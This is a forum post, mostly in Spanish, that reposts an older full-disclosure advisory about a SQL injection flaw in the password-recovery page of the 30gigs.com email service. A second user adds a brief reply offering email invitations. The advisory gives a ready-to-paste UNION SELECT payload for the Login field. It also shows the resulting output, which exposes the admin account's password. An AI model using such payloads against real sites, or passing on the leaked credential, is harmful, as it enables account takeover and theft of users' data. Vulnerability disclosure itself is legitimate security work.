30gigs SQL injection vulnerability

[Merda]

Pues eso, aqui lo tienen:

I found a sql injection vulnerability, which leads to password disclosure in
30gigs.com <http://30gigs.com> email service.
The vulnerability exists in http://www.30gigs.com/getpassword/ page due to
lack of validation of user submitted data.
Proof of Concept:
enter http://www.30gigs.com/getpassword/
and copy & paster this code in the Login field, finally submit the form.


not_existant' union select
1,1,1,1,1,UserPassword,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1 from users where
userLogin='admin


it will give an output like below, in which "runsit" corresponds to the
password of account "admin"
We have sent the password for your not_existant' union select
1,1,1,1,1,UserPassword,1,1,1,1,1,1,1,1,1,1,1,1,1,1 ,1 from users where
userLogin='admin_at_30gigs.com account to runsit


The site has been notified about the vulnerability 2 weeks ago, but no
response was taken.




Descubierto por: http://seclists.org/lists/fulldisclosure/2005/Nov/0523.html

[imported_Tor_victor_]

no poes lo tomare en cuenta para mi correo jeje tengo invitaciones para este mail asi ke el ke kiera mandanme un mp som 8 las ke tengo